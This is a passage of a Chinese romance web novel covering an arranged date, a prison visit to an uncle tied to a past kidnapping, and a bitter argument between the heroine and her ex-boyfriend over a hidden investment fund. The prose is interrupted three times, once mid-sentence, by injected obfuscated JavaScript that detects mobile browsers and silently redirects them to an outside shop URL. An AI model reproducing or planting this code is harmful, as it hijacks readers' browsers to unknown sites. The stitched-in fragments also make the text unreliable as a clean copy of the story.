她说他和父亲像,其实她和他更像,他们的眼眸颜色都浅,是茶棕色,在光下,浅色的瞳仁收缩或放大比黑色瞳仁要明显的多。陶涓就说过,他眼睛像猫咪。 顾清泽看到母亲被说中心事,心里一阵快意,又立即觉得烦闷得想吐。 他扭过头,看向大门,却忽然看到一道身影,不由自主叫她,“陶涓——” 叫完立即后悔。 接着是一连串更让人后悔的操作。 顾清泽把脸埋进枕头里。 他没法跟她解释。 怎么解释? 他从床上跳起来,胡乱走了一通,看到陶涓给他做的灯光控制,他渐渐平静下来,回复母亲:我愿意和博容再见一见。你和沈伯母安排吧。我明天下午到。 50.幸好有她 太阳照样升起。 陶涓看看手机,没有新消息。 她犹豫一下,拍了张日出,发送给顾清泽。 洗漱完,她看看手机,没有新消息。 她吃早餐,出门,穿过公园,看老太太老头儿练太极剑。 六月底的北市一天比一天热,一路都有树荫,到了太平还是出了一身汗。 陶涓走进电梯,手机突然震动一下。 她忍着,到了办公室才取出来看,是顾清泽! 他也发了一张日出的照片。白云在脚下,阳光洒在云上。 他已经出发了。 不知现在飞到哪里? 陶涓对着电脑,在想象中勾勒海岸线和从北市飞往昆士兰的航线…… “咳——”有人在门口轻咳一声。 她回过神,看到电脑屏幕上自己的倒影,嘴角翘着,也不知在高兴些什么。 她看向门口的章秀钟,“早啊,什么事?” 他对她挥挥手,“来我办公室,我跟你说点事。” 几分钟后,章秀钟投下炸弹。陶涓后知后觉,哦,这次他没说“正事”。 一进他办公室,章秀钟就关上门,然后示意她跟上,他站在书架前,搜索了一会儿,取下一个镜框,指着其中一个女孩问她,“是不是有点眼熟?” 照片是某次聚会,章秀钟指的那个女孩十六七岁的样子,一张鹅蛋脸,美人尖很明显,鬓发毛绒绒,稚气未脱。 陶涓摇摇头,“不眼熟。” 章秀钟取过另一张照片,就是之前给她看过那张,两张照片放在一起,“现在呢?” 陶涓不配合他,“你直说不行吗?我还一堆事要做,我走了!” 他笑了,不演了,“她们是姐妹!这个是妹妹。” “So?”她佯装要走。 章秀钟不卖关子了,“沈伯母铁了心要让顾清泽当她女婿,之前撮合大女儿没成功,现在又让小女儿和他相亲。” 他笑得意味深长,毫不掩饰要看好戏的欲望,“顾清泽没跟你说吗?他这次去悉尼,是要和沈小姐相亲。” 说实话,陶涓确实有点惊讶。但她很快恢复镇定,之前她不是也和楚航相亲了? 她反而觉得,这下顾清泽的反常举动都有了解释。 她笑笑,“哦。我可以走了吗?” 章秀钟气闷,“走吧。清泽比你好玩多了。” 话虽这么说,午休的时候陶涓还是会想,这次相亲,是他的“家族责任”吗? 他的家庭到底是什么样的? 他的父母,又是什么样的人? 她忽然感到一阵发寒,急忙披上羊绒衫。她想起周测说顾清泽小时候被绑架过。极有可能是他这位现在身陷囹圄的叔叔干的。目的是什么?跟他父亲夺权。 楚航也说,顾家浑水深。 唉……不知他现在面对的究竟是什么样的情形。 会不会很煎熬? 傍晚快下班时,沈峤给她送了块巴斯克蛋糕,“是顾先生订的。” 陶涓莞尔一笑。 她正配着红茶享用蛋糕,给今天的工作收尾,章秀钟又幽灵一样飘进来,半蹲,扒在她案头幽怨说:“他想的可真周全,和沈小姐喝下午茶吃蛋糕,也不忘了你……” 陶涓抬抬眼皮,“好一个怨妇!”说完自己先忍不住笑了。 章秀钟不肯放弃,走到她身后,再次恶魔低语:“哼哼,你想不想看看他们的约会现场照片?” 陶涓转过头,笑了,“我突然发现,你好好玩啊!哦,对了——”她也压低声音,“你的名字是不是梅菲斯特?” 章秀钟气得转身走了。 陶涓看着他的背影“哼”了一声,“真幼稚。” 从前看八卦新闻,只知道章公子的历任女朋友很有名,和太平合作后,共事了几次本来修正了印象,章秀钟是有点真本事的,反应极快,什么都懂一些,知人善用,再熟了一点,就发现他很有点恶趣味。唯恐天下不乱,看热闹不嫌事大,都还说的客气了,他就喜欢拨弄人心,然后看人笑话。 可能当年和某女星的世纪大分手是真伤了心,从此见不得别人好。 下次他再来搞事,她就叫他去看心理医生。 “你有没有去看心理医生?”顾清泽递给沈博容几张纸巾,她连连气喘,哭着小声说:“对不起……” 剧烈呕吐后她眼窝周围全是毛细血管破裂形成的小血点,眼睛红红的,她擦了眼泪鼻涕,再次道歉:“对不起。” “不用跟我道歉。我没有责怪你的意思。”顾清泽叹气,春节见沈博容的时候,她只是羞怯胆小,但健康,这一次…… 没想到她比他更反感这种相亲。 反感到吃下东西后会紧张得必须吐出来。 幸而约会的地点是间私人会所,人不多。 这时一位女士走进卫生间,顾清泽向她道歉,“我朋友不舒服,刚才吐了,好像有些哮喘,不好意思。” 沈博容包里的各种东西被他倒在洗手池台面上,她拿起一支蓝色喷剂,又放在口中喷了一次,靠在墙上,终于缓过气。 顾清泽帮收好包,“用我扶你吗?” 她摆摆手,“不用。” 顾清泽带她离开会所,对沈家的司机说:“我和博容再兜兜风才送她回家。” 上了车,沈博容眼泪汪汪的,“对不起。” 顾清泽有点想发火,可这股火又不是对这个可怜小孩的,“你没有对不起任何人。他们养你,供你读书,好吃好穿,是应该的。不然呢?虐待小孩是犯法的!心理虐待也犯法!你不欠他们任何东西!” 沈博容不出声,他突然更气了,大声说:“你可以为你自己活!你也能养得起你自己。沈博容,你已经是成年人,如果你想离开你那个糟糕的老妈,不再受她控制,打电话给我秘书,他会安排好一切。” 顾清泽叫郑纶,“把你名片给沈小姐。” 他审视她,“不过,我给你的offer有效期只有一周。一周之后,我会回北市。” 送沈博容回家后,顾清泽连夜飞往昆士兰。 在飞机上他做了个短暂的梦。 梦里他又一次回到那间房间。 黑得犹如最深的海底。不过,这海中不是水,是浓稠的石油。 冷。 冷得像冰窟。 也许最深的海底也是这么冷。 他听到门响了,他听到有人进来,他以为这是他的救星——可是,这人又走了出去。 然后,他听到:让他继续睡吧。 他感到有温热的水从他眼角渗出来,这是他身体里最后一点希望和热量,这两滴小水滴划过太阳穴,流进他耳朵时也已变得冰冷。 这时有人抚摸他的手,往他手下塞了一个温热的毛绒绒的东西,像只熟睡的小狗,他再感受一下,哦,是个热水袋。 她说,“这样就不会冷了。” 真的不会冷了。 日出了,太阳光线从缝隙透进来,撕裂浓稠的黑暗。 “顾先生,我们到了。” 他睁开眼睛,舷窗遮光板已经升起,真的已经日出了。 四叔顾季岩一直是个英俊的男人。 顾清泽还是小男孩的时候其实很喜欢这个叔叔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390109|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在他年过五十,被监禁半年多,还得了病,依旧英俊。甚至还因为病中消瘦更显得倜傥清癯。 他在看守所的会客室就像在自己家的客厅一样自在,还招呼顾清泽,“坐。” 看守还给叔侄俩端来了咖啡。 顾清泽端起咖啡,香气浓郁,居然还是蓝山,“最近还好吗?” “挺好啊,昨天还在去了健身房。”顾季岩转转手中的咖啡杯,“你呢?” 顾清泽放下杯子,“我母亲前几天来北市找我。她希望我尽快结婚,给我安排了沈家的二女儿。” 顾季岩轻哂,“她还是老样子。” 顾清泽点点头,“嗯。” 叔侄俩共同沉默一会儿,探视时间结束,其他探访者和被看押的犯人陆续离开,看守拉上外门,站在走廊上。 顾清泽忽然说,“四叔,我一直都知道当年和你一起绑架我的是谁。” 顾季岩伸长腿,耸了下肩,“哦?” 顾清泽弓起身体,按住顾季岩一侧肩膀,凑到他的颈项旁细细嗅闻。 顾季岩用力推开侄子,脸色不变,但嘴角眉峰的每根细纹都更加深刻,“你刚才做什么?” 顾清泽面无表情:“我拿到了你的活检报告。” 顾季岩颈后寒毛竖起,突然间明白了:这混蛋——他是在闻死亡的气味! 他下颌绷紧,死死盯着侄子,“第几期?” “第三期。” 顾季岩很久没说话,他把咖啡杯放回茶几,几滴咖啡溅在白色桌面上。 他一直不明白,这种地方为什么要用白色桌面,廉价的丙烯酸漆涂层,里面是碎木渣压成的纤维板,茶水、果汁、咖啡……什么东西溅在上面都会留下印迹。 “我还有多久时间?” “六个月到两年。” 顾季岩猛踢一下茶几,咖啡杯翻倒,骨碌骨碌沿着桌面边缘滚动,最后竟然没摔下去。 他站起来走到铁栏门前,又走回来,倨傲地俯视顾清泽,“我不信。” 顾清泽早料到他会这样,“我爸和我,也不想相信。” 这句话像一记猛拳打在顾季岩胸口,他弯下腰,按住右肋,冷汗从额角流下,提醒他这个区域的剧痛是真实的。 这就是肝癌的疼痛。 他凶狠地盯着侄子,这孩子没说错,顾崇峻周密地策划了这么多年,终于扳倒他,怎么甘心他这么快就死?他的好哥哥巴不得他长命百岁,在牢里受折磨呢。 他重新坐下,拿起侄子面前那杯咖啡喝了一大口,右腿翘在左腿上,“谈谈吧。你想要什么?”他冷笑,“我还有什么是你没拿到的?” 顾清泽:“先说你想要什么。” “把我从这个屎坑里捞出去,保外就医。” “好。我会尽量尽快去办。但你知道的,你之前要跑,现在申请保外就医会有些麻烦。” 顾季岩表示理解,“现在说说你要什么。” 顾清泽一个字一个字:“我要当年那间屋子里的监控视频。” 顾季岩怔住,“你怎么知道……” “我知道。我刚才说了,我一直知道。注射的药物对我可能不太有效,我不能动,但是一直清醒。”他停一停,“如果你在黑暗里待得足够久,你也能听到监控镜头转动的声音。” “可以。” 顾清泽强调,“我不要备份,我要全部。没有备份,懂么?” 顾季岩听出了他的威胁,“可以。” 顾清泽告辞,守卫在他走出会客室后重新合上铁栏门,顾季岩站在铁栏后,笑着看他,“你母亲有你这样的儿子……可真幸运。” 51.潘多拉魔盒·上 顾清泽离开北市的第二天,整整一天都没有消息,也没有回复她。 直到傍晚,才发给她一个疲惫小比格趴在地上的表情包。 陶涓问他:语音? 他隔了几分钟回:暂时不。 然后又回:等我回来。 陶涓只能回复一个字。好。 她告诉自己不要去想象他正在经历什么。 一定不好受。 可想象力是控制不住的。 结合他在他母亲面前异常的表现,她对“顾家到底是个什么可怕的地方”的想象越来越疯狂。 午休的时候,她下了很久的决心,在网上搜索过当年那起绑架案的信息,但是,几乎一无所获。 她又编了个爬虫程序,也没抓取到什么有用东西。 看来顾家已经仔细清理过。 随着时间推移,八卦论坛倒闭,新的劲爆新闻层出不穷,终于将当年事情的所有新闻和八卦讨论湮没在电子洪流中。 她食指敲打桌面,凝视屏幕发呆。 其实她可以向章秀钟求教。他一定知道许多内幕。 但是,这个人性格恶劣,会不会跟她说实话,要打个大大的问号,但绝对会变着法戏耍她。 还有一个人,可能知道些什么。 周测。 顾清泽曾经被绑架过,幕后指使人可能就是他叔叔,这事就是周测告诉她的。 她忽然间再次想起那本几年前在医生值班室发现的港媒八卦杂志。 它和一些家居、时尚杂志还有专业期刊堆在一起。几乎是崭新的。显得那么格格不入,又无人问津。 那么,它是谁搜集来的? “啊!”陶涓猛地拍下桌子,接着拍拍脑袋,哎!她以前怎么这么糊涂! 从前周测见到顾清泽那些隐含敌意的言谈举动,突然间有了新解释——他从来没有像她那样把顾清泽当小孩子,而是一直把他当成潜在的情敌防备! 所以他格外留心顾清泽的过去。 那本杂志多半也是他设法买来的。至于是看了看就随手扔在一边,还是想让她“无意间”看到顾清泽现在多么堕落,只能自由心证。 陶涓立刻行动,问周测今天有没有空。 赶巧了,他今天下半天没有排班。 这次两人约的地方,是陶涓常去那家涮锅店。 周测提出在这见面的时候她有点惊讶,因为他从来不喜欢吃涮锅,觉得不卫生。 到了地方更是没想到周测竟然先到了,已经点了菜,还帮她调好了蘸酱。 陶涓跟他聊了会儿家常,又问医院的情况,“我打算向几个院长游说,让医院改用我开发的AI模拟应用,你觉得有戏吗?” “这个我说了不算,不过你多找几个外科医生帮你推荐,最好是知名的业内专家。”周测给了些建议,“你今天找我,就为这个事儿吗?” 陶涓喝一口汽水,“不是。你什么时候知道顾清泽当年被绑架过?怎么知道的?还知道什么?” 周测握紧筷子。 锅里热腾腾的水汽被空调冷气一吹,带着肉的腥膻扑到脸上。 那一年的夏天也是这么热,到了9月北市还像是火炉。 离开学还有两周,学生们陆陆续续返校,陶涓每天忙着去方舟实习,累得瘦了一圈,本来她就有点中暑,因为被顾清泽拉黑又气着了,刚喝下一瓶藿香正气水,还没走回宿舍又全吐出来。 他送她去校医院打点滴,暑假人少,幸运获得一个病床。 等她睡着,他从她包里翻出那张门禁磁卡。顾清泽住的那间公寓的门禁卡。 他一秒都没耽搁,打车去了那间公寓,直接杀上门。 顾清泽打开门时脸上带着隐隐笑意,见到门外的是他,笑意转为惊讶,随即摆出防卫的姿态,“有事吗?” 周测笑了。 他想起第一次见到顾清泽的情形,出租车后视镜里的对视,男孩自信骄傲地对他笑。 现在,轮到他笑了。 这是他的猎杀时刻。 他成功了。 他击碎了那个傲慢又天真的男孩。 他提议:“你真的喜欢陶涓?那就别再靠近她,离得远远的,让她永远不会被你家那些恶毒又恶心的人盯上。你原本不就是想去MIT吗?去吧。别再自私地打扰她。” 顾清泽真的走了。 但对这种心腹大患,他并没放松,他保留着观察他的习惯,定期收集他的相关信息。 终于,他渐渐忘了。 然后这个祸害又毫无预兆再次出现。 周测撂下筷子,冷冷盯着陶涓,“你准备接受顾清泽?” 陶涓反问,“怎么,不行?” 周测“哈”地轻笑一声,“因为他的钞能力?” 陶涓冷脸,“周测,我们有过一次类似的对话,你后来道歉了。” 周测冷笑,“是!我道歉了!因为我那时候以为我误会了你!以为这么多年——你从来都把他当小孩看待,照顾他是出于道义!你被方舟开除之后,找不到工作,他帮你接了太平的临时工,又帮你开工作室,现在呢?哦,我没记错的话,上次你更新扩展整容医院的AI模拟应用,采用的大数据也是他促成几间公立医院开放共享的。” “你告诉我,这些不是钞能力?如果他顾清泽和我一样,是个靠工资过日子的人,得每天没日没夜工作、加班、写报告——你会接受他?如果他没有这样处处帮你,你会接受他?”他看着陶涓,一边摇头一边笑,“你当年为什么没觉得他有魅力?是因为他那时还不知道怎么运用他的钞能力!” 陶涓缓缓呼了几口气才压下心头的火,“你说他处处帮我,没错!他确实帮我了。你还记得上次我住院还赶着写代码,你做了什么吗?你直接扣上我的电脑,你有没有想过我辛辛苦苦写的代码可能还没保存,你会让我白忙好一会儿,我要找回自己的思路又需要很久?我会不会因为这样生气?我生气,对我的病情有帮助吗?” 周测脸色不变,可胸口剧烈起伏,陶涓知道他这是气极了,可她不管,继续说下去。 “你真的觉得你是在帮我吗?哈,别逗了!你只是在表现你的控制欲。你习惯了!你对其他病人敢那样吗?何况我那时都不是你的病人!你不过就是仗着这么多年我一直让着你,哄着你!” “周测我告诉你什么是帮我,对,你没说错,顾清泽在帮我。除了帮我获取病历数据,他还帮我写代码,你可以说你不会,那你可不可以花点时间陪着我? 可不可以来看我的时候给我带一束我喜欢的花? 可不可以就只是安慰我、鼓励我,而不是指责我、批评我? 哪怕这些你都做不到,那你能点点外卖,给我买点我喜欢吃的东西吗?——哦,你都不知道我喜欢吃什么!你和你们一家吃惯了医院食堂的‘营养餐’就觉得我也可以那样吃,我告诉你,我不喜欢!从来不喜欢!” 她指指自己面前两碗蘸酱,“这一碗,是你给我调的,香菜,姜泥,酱油和豆腐乳,这一碗,是我自己调的,一勺酱油一勺醋加两勺麻酱,再用一大勺清汤化开。 周测,你能记住人体那么多骨头的中文、英文、拉丁文名称,可你永远不记得我喜欢吃什么蘸酱。曹艺萱知道!顾清泽也知道!他们认识我的时间都没有你认识我的时间长!” “顾清泽不止有钞能力!”陶涓笑了,用力按一下自己的心口,“这儿!他用心了!你——你没有!从来没有!别说我没有给你机会!我给了你六年多的机会!” 她闭着眼睛哼了口气,抓起汽水猛灌一大口,碳酸气泡像是蹿到了鼻腔,有股奇异的辛辣感,“他帮我?怎么,我不配被帮吗?周测你去照个脑CT好吧?你这性缘脑可能末期了,就前几天,章秀钟还提出想注资,怎么,他也想追求我?他也喜欢我? 在你看来,一个女人,事业上得到助力,如果提供助力的人不是女性,就一定有暧昧,是吗?女的只能接受女的资助、提携? 凭什么? 这个世界本来就是男人掌握更多资源更多机会,如果一个女性只接受同性的帮助才算清清白白的发展事业——哈,你是不是想用这种方式逼她回家生孩子得了?” 周测脸色越来越难看,陶涓可不管他,她放开了,多年压在心里的话全说出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392590|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再说你,周测,你拍拍自己良心,你从来没有得到提携吗?你从没被‘帮’过吗?你爸妈,你姑姑姑父,你还有大姨和大姨父,都没帮过你?没在他们从前的同事、朋友、同学、门生面前提过你?没让他们多关照你? 申悦明和你同一年毕业,还是你妈雷主任亲传弟子,肿瘤科的重点培养医生,她去米兰交流了吗?前年才去的。 她是哪一年升上住院总的?去年。 凭心而论,她的学历、技术、学术能力哪一点比你差了?她为什么步步都比你晚几年?” 陶涓冷哼一声,笑着夹了片肉涮,就着周测难看的脸色扔进嘴巴里大嚼,然后又喝了口汽水。 “怎么不说话呀?没词了?”陶涓冷笑,就是欠收拾!“你不说也好,让我多说几句。以前咱俩在一起,话都让你一个人说完了。” 陶涓又涮了片肉,蘸自己调的酱,放在周测盘子里,“尝尝吧。哎呀,周测呀,我原以为你是人中龙凤,你大概自己也一直这么觉着,可是后来我发现,你自私,傲慢,打心眼里瞧不起女人——” 看到周测要反驳,她“哎”一声做个“闭嘴”的手势,“我很久之前就发现你很少打断男同事说话!” 周测怏怏闭嘴,心中疑惑:我真的是这样吗? “你还喜欢站在道德制高点上评价别人。哦,你自己吃饱了,嘴上的油还没擦呢,就指指点点,说别人吃的姿势不够优雅体面。哈。”陶涓抓起汽水瓶子一仰脖灌完,“吨”一声重重放下瓶子,“顾清泽从来不会这么做。说了你也不会信,大三暑假我们去山区送温暖,他对那些山民,还有山民的小孩,跟对我们这些同学老师没什么区别。你和雷主任肯定也去过类似的地方,我猜你们会全程戴着口罩手套吧?” 她抽张纸巾擦擦嘴,站起来,“谢谢你请我吃饭。我吃饱了。” 陶涓走出小店,发现天已经黑了。 她在朦胧夜色中辨明方向,走了没多远,周测追上来,“我再次向你道歉——对不起!你可以怀疑我的诚意,怀疑我的用心,但是——我们在一起这么久,你应该知道,我至少不是个坏人,对不对?” 陶涓停下,“你想说什么?” 周测深深地吸了几口,平静了许多,“你找我来,是想问顾清泽的事,那我就把我知道的全都告诉你。” 他一口气讲完顾家上一代的内斗,顾崇峻和顾季岩兄弟争权到了关键阶段,顾老爷子打算拓展金融业,谁能拿到新公司的管理权,谁就是太子爷,名正言顺成为顾氏的下一任董事会主席。 当时所有人都更看好顾崇峻,可他这时出了事,他的情妇买通司机里应外合,在顾清泽回家的路上绑架了他。 他失踪了一周。顾家没有报警,所以不清楚最后他是交了赎金后被绑匪放了,还是顾家请了高人营救出来。 周测很无奈,“他绝对没有你认为的那么单纯,那么可怜……他叔叔因为搞庞氏骗局被指控你已经知道了,可你知道吗?出事的金融公司,就是当年他从顾清泽父亲手里夺走那间。” “你也许会说,他叔叔咎由自取,没错,可顾清泽和他父亲没有在暗中做什么吗?”他再次长长呼气,“顾清泽跟你说过他这些年在做什么吗?那些他直接或者间接控制的投资基金有哪些,在资本市场怎么兴风作浪?” 陶涓微微一凛。 顾清泽只跟她说,他做的都是赚钱的事。不令他骄傲。 她就没有追问。 问了,可能也不懂。 “看来并没有。”周测解开几颗胸前的扣子,又喘了口气,“方舟去年年底到现在,美股大跌你总知道吧?连续做空方舟的一家基金叫‘良鹿’,Gooddeer,你对这个名字有印象吗?” 陶涓茫然,“我应该有印象吗?” 周测的笑容缓缓消失,脸色变得很复杂,像是有些不忍,他似乎预料到真相会让她难过,可他又是真的很担心她,必须得告诉她,他犹豫的样子让陶涓渐渐不安。 “陶涓,几年前方舟的高层内斗是怎么开始的?你的部门主管、你进方舟以后一直培养你的方姐是怎么被赶走的?你还记得起因是什么?” 52.潘多拉魔盒·下 起因? 陶涓认真回顾,方舟短短几年间搞成这样子,起因是高层对今后十年的主攻领域产生了分歧。以方姐为首的一派人想押宝在人工智能;而另一派看好无人驾驶汽车和智能医疗的相关领域。 最后的胜利者不用说了。 可这些人赢了内战,却没真的赢得未来。 “你还没想到吗?”周测看着陶涓,声音都忍不住有点发颤,她怎么能天真到这种程度?“良鹿基金买了方舟很多股票,还投资了不少其他研发无人驾驶汽车和智能医疗的公司,方舟的上层就是受了影响,认为这才是更应该被看好的方向,接下来的事就不用我说了吧?” 接下来? 方姐出走,再接着,部门解散重组,之后黄霸天空降,她成为眼中钉,最终被踢出方舟。 “良鹿的幕后控制人,就是顾清泽。”周测担忧地看着她,像是怕她突然晕倒还是怎么样。 陶涓哑然失笑,“So?” “我刚才说过良鹿从去年年底反复做空方舟吧?” “然后呢?那又怎么样?” “你不在方舟之后他就抛售了股票!还连续做空它,为什么?你怎么不想想为什么?因为他没法再去影响、去操控方舟的运作了!因为他没法再控制你了!”周测低吼。 他狠狠喘了几口气,恨铁不成钢地看陶涓,“从上学时你就是这样——你只看得到你想看的东西,只关心你喜欢的学业、你的试验、你的算法、程序、项目——你从来不抬头看一看!” 他又无奈地长叹,“你总是太善良,也把别人都想的太善良,你有没有想过,你在方舟失势,你从被高层重点培养的人才到被扫地出门,全是他在用看不见的手——他的钞能力——在远程遥控!你失业了,正在潦倒的时候,他从天而降,骑着白马披着闪亮盔甲,拯救你于水火,让你心怀感激,让你仰望他、依赖他……你明白了吗?” 陶涓的心脏很久没有这样不规则地乱跳了。周测的话好像在她脑子里踢翻了一个木箱,箱里竟然是一窝蜜蜂!嗡嗡嗡,轰轰轰—— 她用力吞咽了几下,“我不信!” 她转身大步走开,周测站在原地,在她走出几米远时喊道:“你不怕他?他处心积虑这么多年——你不怕他吗?你一点也不怕吗?” 陶涓听到这回声似的质问,走得越来越快,走到后来,几乎要小跑起来。 她觉得周测还跟在身后,不停地发出质问,只好胡乱转了几个弯。 漫无目的又走了好一会儿,也可能只有十几分钟,心脏还通通乱跳,但手指没再发颤了,可两腿发软。 看到墙边有一排椅子,她疲惫坐下。 坐了一会儿,抬头一看,才发现自己是在一家便利店门外。 她想起来,今年春天,她和顾清泽来过这里。他给她买了罐老酸奶。 她平静下来,叫了车,进店买了罐酸奶,刚喝完,车就来了。 夜色沉沉,车窗外是北市老街道特有的气味,晒了一天的树木和红砖地,街坊的灯光,不知是手机还是电视里播放的京戏,树荫和路灯轮换着从车窗擦过。 司机忽然说:“您到了!麻烦给个好评。” 到了? 陶涓说了声“不好意思”才发现车子停在她租的老房子楼下。 她愣一下,看看手机,刚才叫车时魂不守舍,地址输了默认的“家”。 只好又跟司机道歉,“麻烦您先稍等,我地址输错,我改一下目的地行么?” 她刚要重新输入地址,忽然又抬起头—— 她家的窗户已经换好了。 不知什么时候换的崭新玻璃钢窗,在路灯下反射着光。 陶涓再次跟司机道歉,下了车,从包里摸出钥匙。 她慢吞吞走上楼,每上一层,就扶着楼梯缓匀呼吸。 终于,她到了。 她在门口迟疑一下,用钥匙打开门,没有开灯,就那么走进去。 所有的窗户都换了。 崭新。 但又透着强烈的熟悉感。 和她滨市的家几乎一模一样。 她在空荡荡的客厅转了几转,坐在地板上,联系张阿姨。 语音一接通,她直接问,“张阿姨,你卖房合同上有买方名字吗?” “小陶啊……”张阿姨莫名其妙,但还是回答,“那当然得有呀。” “你记得买方名字吗?是姓顾吗?还是姓郑?”陶涓追问。 张阿姨想了想,她老伴在旁边说,“姓顾。” “哦哦,对,姓顾。怎么了小陶,你又改主意了?想买房了?还是房子有什么问题了?我听隔壁老陈说他们家有点漏水,前一阵新业主翻修房顶……” “没事张阿姨,我随便问问。” 陶涓挂断电话,坐在没开灯的客厅里,看着窗户外的梧桐树影。 梧桐叶正是一年最繁茂的时候,挤挤挨挨,几乎蹭到窗前,路灯桔黄色的光把叶片照得半透明,像一汪深绿的水。 周测的声音响在耳边。 你不会害怕吗? 他这么处心积虑,你不会害怕吗? 隔天下午快下班时,章秀钟溜达到陶涓办公室,敲敲门框,“怎么样啊你?” “什么怎么样?”陶涓不明所以。 章秀钟嬉皮笑脸,“孙淳说你跟戒断的瘾君子一样,一天喝了八杯茶了,憔悴支离得跟林妹妹似的,我要再不来看看,顾清泽回来后得抱怨我。” 陶涓揉揉脸,拿起手机看一眼自己,唉,他还真没说错,她是眼见的憔悴,可人家林妹妹是病如西子胜三分,她是眼圈黑如锅底灰,不由长叹一声,“唉……哪儿像林妹妹呀!” “还说不像呢,长吁短叹,愁眉不展,就差念叨‘每日价情思睡昏昏’了……”章秀钟哈哈一笑,自来熟地走近,靠在她桌子一角,“他才走三天,你看看你!英雄气短!这不是我认识的陶涓。” “他那个基金叫什么?” 章秀钟想不到她冷不丁问这个,“叫Good water。怎么了?” 她的表情更是他没预料到的,像是突然间极高兴,又有点不安。 只见她傻笑了一会儿又蹙眉追问,“你确定?GoodWater?不是Good Deer?” 章秀钟纳闷,歪着头打量她,“林妹妹,你今天怎么了?” 陶涓着急,“到底是什么?” “Good Water,我非常确定。我还问过他,是不是要跟Muddy Water打对台才起这么个名字,他说不是,是先有了中文名字才注册了英文名字。中文叫吉水。啧啧,清泽国学是差一点,Good Water?真是通俗易懂又直白……” 陶涓按住心口,连呼了几口气,章秀钟有点担心,“怎么了?” 她摆摆手,虚弱地闭上眼睛,缓缓喘息一会儿,才说:“没事。这今天睡得不好,又有点累……” 章秀钟按她案头电话的某个键:“沈峤?你陪陶小姐提前下班,送她回家休息。” 他再看看她的脸色,“你今晚还有线上会议吗?” “没有。” “那刚好,趁着周末这两天不用工作好好休息。注资的事儿也别急,多看看,或者等清泽回来了跟他再商量商量。” 沈峤叫司机开车,陪着陶涓回了家,又等订的餐食来了才告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396002|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞,再三跟她确认,“真不需要我留在这陪你吗?” 陶涓勉强微笑,“真不用。我就是得好好睡一觉,睡醒就没事了。” “那行。我就在顾先生公寓,有事你就叫我,给我发微信也行。”沈峤笑呵呵的,又补充一句,“我每个周五都跟朋友约了一起玩手游,睡得很晚,有事就叫我,别觉得麻烦。” 这天半夜刮起大风,陶涓隐约听见远处不知什么重物落在地上发出巨响,也可能是在她在做梦,又仔细听了听,风雨大作,雨滴打在窗子上,像机关枪子弹。 她想起厨房好像没关窗户,摸黑走去,凉风裹挟着雨丝从窗缝蹿进来,扑在脸上。 关好窗户,她重新回到床上,突然猛地坐起:“我真是糊涂了!” 周测刚回到医生宿舍,手机就响了。 是陶涓。 他接通,“你这个时间不睡觉想干什么?” “你甭管这些。我问你,你怎么知道良鹿基金是顾清泽的?幕后控制人根本查不出来,你怎么知道是他?” 周测咬咬嘴唇,现在还瞒她干什么呢?她认定他是头沙文猪了。还怕让她知道这些事? 可他又犹豫了几息时间才坦白,“是他自己说的。他去波士顿几个月之后——大概是第二年的一月,给你写了一封电邮。他自己在电邮里说的。他建立了一个投资基金,叫良鹿。” “那封电邮呢?为什么我从来没看到?” 周测闭着眼睛,咬嘴唇内侧的肉,“因为我把它删了。”破罐子破摔了! “然后我还把顾清泽邮箱地址加进你的垃圾邮件名单,为了预防他换邮箱,我还预防性加了所有他可能用的邮箱名字,就是不想让他跟你再有任何联系!” 他听见陶涓深长的呼吸,应该是气极了。 微信通话计时整整过了一分钟,陶涓的声音才再次想起,她追问:“他那封邮件里还写了什么?” 周测撒谎:“我不记得了。” 陶涓冷笑,“你不记得了。你再想想呢?” 他突然暴怒,“你现在问这些干什么?有意义吗?不过就是他又说了些让你扎心的话,我怕你看到难受才偷偷删了!” “哈。你猜我信吗?”她挂断电话。 周测握着手机,颓然坐在地上。 他总说陶涓太善良,太容易轻信,可他也利用过她的善良。 她在方舟第一年,又要学习又要工作,累得要命。有次公共假日,她来医院陪他,生理期肚子疼,他找来止疼药让她吃了在他宿舍睡一会儿。 她电脑开着,跑着程序,他摇摇头,正要去给她接一壶热水,忽然看到电脑右下角弹出邮件提示。 是顾清泽。 鬼使神差,他打开邮件。 也许并不是什么鬼使神差。他看到邮件地址上顾清泽的名字,第一反应是害怕。他怕顾清泽会告诉陶涓他是怎么上门逼宫的,他更怕顾清泽后悔了。 所以,即使再给他一次机会,再给他充足的时间仔细思考,他也还是会打开这封邮件看。 和预想的一样,顾清泽后悔了。 他向陶涓道歉。 